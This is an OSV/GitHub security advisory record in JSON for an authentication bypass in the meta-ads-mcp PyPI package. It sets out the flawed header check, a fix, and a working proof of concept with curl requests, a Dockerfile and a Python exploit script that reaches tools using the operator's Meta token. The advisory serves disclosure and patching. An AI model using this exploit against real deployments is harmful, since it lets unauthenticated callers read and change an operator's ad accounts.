Files
vuln-osv/data/PyPI/GHSA-2v2f-mvfg-ph56.json

1 line
22 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-2v2f-mvfg-ph56","published":"2026-07-17T18:48:54Z","modified":"2026-07-23T15:11:27.804572936Z","aliases":["CVE-2026-54547","PYSEC-2026-3484"],"summary":"meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token","details":"## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = <attacker value>`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator's `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token: # ← bypass condition\n return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77–95) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token = None # not set → guard reads False for left operand\npipeboard_token = \"<anything>\" # truthy → guard reads False for right operand\n→ (not None) and (not \"<anything>\") = True and False = False → 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283–291 only run when `auth_token` is truthy). The patched token getter at lines 163–168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446–453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n return env_token\n```\n\n`@meta_api_tool` at `api.py:390–396` injects this operator token into every tool's `access_token` kwarg. The sink at `api.py:225–235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42–62` (`get_ad_accounts`): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255–257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288–291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163–168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446–453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390–396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42–62` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225–235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n- if not auth_token and not pipeboard_token:\n+ if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 — Build the Docker image**\n\n```bash\ndocker build \\\n -t vuln001-meta-ads-mcp \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 — Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 — Confirm the middleware is active (no-auth → 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 401 {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}'\n# Expected: HTTP/1.1 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools listed)\n```\n\n**Step 5 — Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H 'Content-Type: application/json' \\\n -H 'Accept: application/json, text/event-stream' \\\n -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \\\n -d '{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}'\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1–3 and prints `RESULT: PASS — VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header) → HTTP 401 {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) → HTTP 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools)\nTest 3 (tools/call, same header)→ HTTP 200 {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that `FAKE_OPERATOR_META_TOKEN` was sent to Meta Graph API, proving the full operator-token reuse path.\n\n### Impact\n\nThis is an **authentication bypass** vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary `X-Pipeboard-Token` header can:\n\n- **Read** all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).\n- **Write** Meta Ads resources (create/update campaigns, ads, budgets) as the operator.\n- **Exfiltrate the operator's identity** via Meta Graph API error responses that reference the token.\n\nOperators who deploy `meta-ads-mcp` in `--transport streamable-http` mode with `META_ACCESS_TOKEN` configured — the documented and recommended production setup — are directly affected. Deployments using the default `stdio` transport or those without `META_ACCESS_TOKEN` set are not affected.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)\n# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.\n# The server enforces auth via AuthInjectionMiddleware, but the bypass allows\n# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,\n# which then fall back to the operator's META_ACCESS_TOKEN.\nFROM python:3.11-slim\n\nWORKDIR /app\n\n# Install system dependencies\nRUN apt-get update && apt-get install -y --no-install-recommends \\\n curl \\\n && rm -rf /var/lib/apt/lists/*\n\n# Copy repository source (build context must be the repo root)\nCOPY . /app\n\n# Install the package and its dependencies\nRUN pip install --no-cache-dir -e .\n\n# Fake operator token: length >= 20 so the server's basic validation passes.\n# This is NOT a real Meta token — used only to prove the bypass path\n# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).\nENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890\nENV META_APP_ID=999999999999999\n\n# Disable any browser-launch attempts during startup\nENV DISPLAY=\n\nEXPOSE 8080\n\n# Start the MCP server with streamable-http transport.\n# --host 0.0.0.0 is required so the container port is reachable from the host.\nCMD [\"python\", \"-m\", \"meta_ads_mcp\", \\\n \"--transport\", \"streamable-http\", \\\n \"--host\", \"0.0.0.0\", \\\n \"--port\", \"8080\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\nCVE class : CWE-287 Improper Authentication\nPackage : meta-ads-mcp 1.0.113\nFile : meta_ads_mcp/core/http_auth_integration.py:259\n\nVulnerability summary\n---------------------\nAuthInjectionMiddleware rejects requests only when BOTH auth_token AND\npipeboard_token are absent (line 259):\n if not auth_token and not pipeboard_token:\n return Response(status_code=401)\n\nextract_token_from_headers() (lines 77-95) does NOT recognise the\n\"X-Pipeboard-Token\" header — only \"Authorization: Bearer\",\n\"X-META-ACCESS-TOKEN\", and \"X-PIPEBOARD-API-TOKEN\".\n\nextract_pipeboard_token_from_headers() (line 108) DOES recognise\n\"X-Pipeboard-Token\".\n\nConsequence: an attacker that sends only \"X-Pipeboard-Token: <anything>\"\nmakes auth_token=None and pipeboard_token=\"<anything>\". The bypass\ncondition becomes:\n if not None and not \"<anything>\": # False — request passes\nNo auth context is set; the token getter (http_auth_integration.py:163-168)\nfalls back to get_current_access_token() in auth.py which returns the server\noperator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the\noperator.\n\nExpected evidence\n-----------------\nTest 1 No auth header → HTTP 401 from middleware\nTest 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer\n (proves bypass; further tool calls use operator token)\n\nUsage\n-----\nThe MCP server must already be running and reachable at 127.0.0.1:8080.\n docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp\n python3 poc.py\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport urllib.error\nimport urllib.request\n\n# ---------------------------------------------------------------------------\n# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp\nimport os as _os\n\n_DEFAULT_URL = \"http://127.0.0.1:8080/mcp\"\nSERVER_URL = (\n sys.argv[1] if len(sys.argv) > 1 else _os.environ.get(\"MCP_SERVER_URL\", _DEFAULT_URL)\n)\n# Arbitrary attacker-controlled value — NOT validated by the server\nATTACKER_PIPEBOARD_TOKEN = \"attacker-controlled-not-validated-xyz1234567890\"\nSERVER_READY_TIMEOUT = 90 # seconds\n# ---------------------------------------------------------------------------\n\n\ndef http_post(url: str, headers: dict, body: dict) -> tuple:\n \"\"\"Send a JSON-encoded POST request; return (http_status, response_text).\"\"\"\n data = json.dumps(body).encode()\n req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=10) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as exc:\n return exc.code, exc.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n return None, str(exc)\n\n\ndef wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:\n \"\"\"\n Poll until the server returns any HTTP response (even 401).\n Returns True when ready, False on timeout.\n \"\"\"\n deadline = time.time() + timeout\n attempt = 0\n while time.time() < deadline:\n status, _ = http_post(\n SERVER_URL,\n {\"Content-Type\": \"application/json\"},\n {\"jsonrpc\": \"2.0\", \"id\": 0, \"method\": \"ping\"},\n )\n if status is not None:\n return True\n attempt += 1\n if attempt % 5 == 0:\n elapsed = int(time.time() - (deadline - timeout))\n print(f\" ... still waiting ({elapsed}s elapsed)\")\n time.sleep(1)\n return False\n\n\ndef run_test(label: str, headers: dict, payload: dict) -> tuple:\n \"\"\"Run one request, print result, and return (status, body).\"\"\"\n print(f\"\\n[*] {label}\")\n status, body = http_post(SERVER_URL, headers, payload)\n print(f\" HTTP Status : {status}\")\n # Print up to 600 chars so long MCP responses are readable\n print(f\" Response : {body[:600]}\")\n return status, body\n\n\ndef main() -> int:\n print(\"=\" * 65)\n print(\"VULN-001 PoC: X-Pipeboard-Token Auth Bypass\")\n print(\"meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication\")\n print(\"=\" * 65)\n\n # -----------------------------------------------------------------------\n print(\"\\n[*] Waiting for MCP server to be ready ...\")\n if not wait_for_server():\n print(f\"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s\")\n return 2\n print(\"[+] Server is ready\")\n\n # Common headers for all requests\n base_headers = {\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/json, text/event-stream\",\n }\n\n # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server\n # processes each request independently; tools/list does not require a\n # prior initialize handshake.\n list_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/list\",\n \"params\": {},\n }\n\n # -----------------------------------------------------------------------\n # Test 1: No authentication — must be rejected with 401\n # -----------------------------------------------------------------------\n status1, body1 = run_test(\n \"Test 1: POST /mcp — no auth header at all\",\n base_headers,\n list_payload,\n )\n\n if status1 != 401:\n print(f\"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}\")\n print(\" Middleware may not be active. Cannot assess bypass.\")\n return 2\n\n try:\n parsed = json.loads(body1)\n if parsed.get(\"error\") != \"Unauthorized\":\n print(\"[-] UNEXPECTED body (expected {\\\"error\\\": \\\"Unauthorized\\\"})\")\n return 2\n except json.JSONDecodeError:\n pass # Body format is secondary evidence\n\n print(\"[+] CONFIRMED: No-auth request correctly rejected with HTTP 401\")\n\n # -----------------------------------------------------------------------\n # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works\n #\n # Vulnerability logic (http_auth_integration.py:259):\n # auth_token = extract_token_from_headers(headers) -> None\n # pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE\n # if not None and not ATTACKER_VALUE: # evaluates False -> request passes\n # # set_auth_token() never called -> auth context stays None\n # # tool getter falls back to META_ACCESS_TOKEN env var\n # -----------------------------------------------------------------------\n bypass_headers = {\n **base_headers,\n \"X-Pipeboard-Token\": ATTACKER_PIPEBOARD_TOKEN,\n }\n status2, body2 = run_test(\n f\"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}\",\n bypass_headers,\n list_payload,\n )\n\n if status2 == 401:\n print(\"\\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.\")\n print(\" The vulnerability may have been patched on this build.\")\n return 1\n\n print(f\"\\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)\")\n print(\" The middleware accepted the request with X-Pipeboard-Token alone.\")\n print(\" auth_token was None -> set_auth_token() not called ->\")\n print(\" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.\")\n\n # Extra detail: check if we can see MCP tool names in the response\n try:\n parsed2 = json.loads(body2)\n tools = parsed2.get(\"result\", {}).get(\"tools\", [])\n if tools:\n print(f\"\\n MCP tools/list returned {len(tools)} tools (server fully reachable):\")\n for t in tools[:5]:\n print(f\" - {t.get('name', '?')}\")\n except Exception:\n pass\n\n # -----------------------------------------------------------------------\n # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta\n # The Meta Graph API will reject the FAKE token, but the error response\n # proves the request reached Meta (not the local 401 guard).\n # -----------------------------------------------------------------------\n call_payload = {\n \"jsonrpc\": \"2.0\",\n \"id\": 2,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"get_ad_accounts\",\n \"arguments\": {\"limit\": 1},\n },\n }\n status3, body3 = run_test(\n \"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only\",\n bypass_headers,\n call_payload,\n )\n\n if status3 != 401:\n print(f\"\\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}\")\n print(\" The tool call was not blocked locally. The server forwarded\")\n print(\" the request to Meta Graph API using META_ACCESS_TOKEN.\")\n if \"OAuthException\" in body3 or \"Invalid OAuth\" in body3:\n print(\" Meta Graph API returned an OAuthException about the\")\n print(\" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.\")\n elif \"error\" in body3.lower():\n print(\" Meta Graph API (or MCP layer) returned an error response\")\n print(\" — the request reached the tool handler, not the local 401 guard.\")\n else:\n print(\"[!] Note: tools/call returned 401 — may need MCP initialize first\")\n\n # -----------------------------------------------------------------------\n print(\"\\n\" + \"=\" * 65)\n print(\"RESULT: PASS — VULN-001 reproduced\")\n print()\n print(\"Evidence:\")\n print(f\" Test 1 (no header) -> HTTP {status1} (blocked by middleware)\")\n print(f\" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)\")\n print()\n print(\"The distinction proves that AuthInjectionMiddleware at\")\n print(\"http_auth_integration.py:259 is the exploitable boundary.\")\n print(\"An attacker can reach all MCP tools as the server operator by\")\n print('sending any value in the \"X-Pipeboard-Token\" header.')\n print(\"=\" * 65)\n return 0\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```","affected":[{"package":{"name":"meta-ads-mcp","ecosystem":"PyPI","purl":"pkg:pypi/meta-ads-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.115"}]}],"versions":["0.1.0","0.10.0","0.10.1","0.10.2","0.10.5","0.10.6","0.10.7","0.10.9","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.2","0.3.3","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.6.0","0.7.0","0.7.1","0.7.10","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.0.10","1.0.100","1.0.101","1.0.102","1.0.103","1.0.104","1.0.105","1.0.106","1.0.107","1.0.108","1.0.109","1.0.11","1.0.110","1.0.111","1.0.112","1.0.113","1.0.12","1.0.13","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.26","1.0.27","1.0.28","1.0.29","1.0.3","1.0.30","1.0.31","1.0.33","1.0.34","1.0.35","1.0.36","1.0.38","1.0.39","1.0.4","1.0.40","1.0.41","1.0.42","1.0.43","1.0.44","1.0.45","1.0.46","1.0.47","1.0.48","1.0.49","1.0.5","1.0.50","1.0.51","1.0.52","1.0.53","1.0.54","1.0.55","1.0.56","1.0.57","1.0.58","1.0.59","1.0.6","1.0.60","1.0.61","1.0.62","1.0.63","1.0.64","1.0.65","1.0.66","1.0.67","1.0.68","1.0.69","1.0.7","1.0.70","1.0.71","1.0.72","1.0.73","1.0.74","1.0.75","1.0.76","1.0.77","1.0.78","1.0.79","1.0.8","1.0.80","1.0.81","1.0.82","1.0.83","1.0.84","1.0.85","1.0.86","1.0.87","1.0.88","1.0.89","1.0.90","1.0.91","1.0.92","1.0.93","1.0.94","1.0.95","1.0.96","1.0.97","1.0.98","1.0.99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-2v2f-mvfg-ph56/GHSA-2v2f-mvfg-ph56.json"}}],"references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-2v2f-mvfg-ph56"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"}],"database_specific":{"cwe_ids":["CWE-287"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T18:48:54Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N"}]}